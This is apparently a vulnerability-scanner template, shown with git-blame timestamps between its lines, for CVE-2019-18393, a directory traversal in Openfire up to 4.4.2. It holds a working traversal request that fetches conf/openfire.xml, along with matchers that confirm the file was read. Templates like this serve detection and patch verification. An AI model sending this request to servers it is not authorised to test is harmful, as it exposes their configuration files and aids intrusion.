2021-02-19 00:44:10 +00:00
id : CVE-2019-18393
info :
2021-02-19 05:44:48 +00:00
name : Openfire LFI
2021-02-19 00:44:10 +00:00
author : pikpikcu
severity : high
2021-03-30 12:21:02 +00:00
description : PluginServlet.java in Ignite Realtime Openfire through 4.4.2 does not ensure that retrieved files are located under the Openfire home directory, aka a directory traversal vulnerability.
2021-02-19 05:46:04 +00:00
reference : https://swarm.ptsecurity.com/openfire-admin-console/
2021-02-19 00:44:10 +00:00
tags : cve,cve2019,openfire,lfi
requests :
- method : GET
path :
- '{{BaseURL}}/plugins/search/..\..\..\conf\openfire.xml'
matchers-condition : and
matchers :
- type : word
words :
- "org.jivesoftware.database.EmbeddedConnectionProvider"
- "Most properties are stored in the Openfire database"
part : body
- type : status
status :
- 200
